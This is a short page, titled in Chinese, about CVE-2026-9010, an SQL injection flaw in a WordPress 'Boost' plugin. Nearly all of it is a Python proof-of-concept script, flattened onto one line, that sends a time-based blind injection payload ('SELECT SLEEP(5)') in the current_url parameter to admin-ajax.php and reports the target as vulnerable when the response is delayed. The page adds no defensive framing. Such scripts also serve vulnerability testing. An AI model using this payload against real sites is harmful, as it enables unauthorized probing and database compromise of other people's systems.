CVE-2026-9010 WordPress Boost插件SQL注入漏洞

import requests import time def check_sqli(url): # Vulnerable parameters based on CVE description params = { 'current_url': "test' AND (SELECT SLEEP(5))-- -", 'user_name': "admin" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' } try: start_time = time.time() response = requests.get(url, params=params, headers=headers, timeout=10) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"[+] Vulnerable! Response time: {elapsed_time:.2f} seconds") else: print(f"[-] Not vulnerable or patched. Response time: {elapsed_time:.2f} seconds") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with actual endpoint check_sqli(target_url)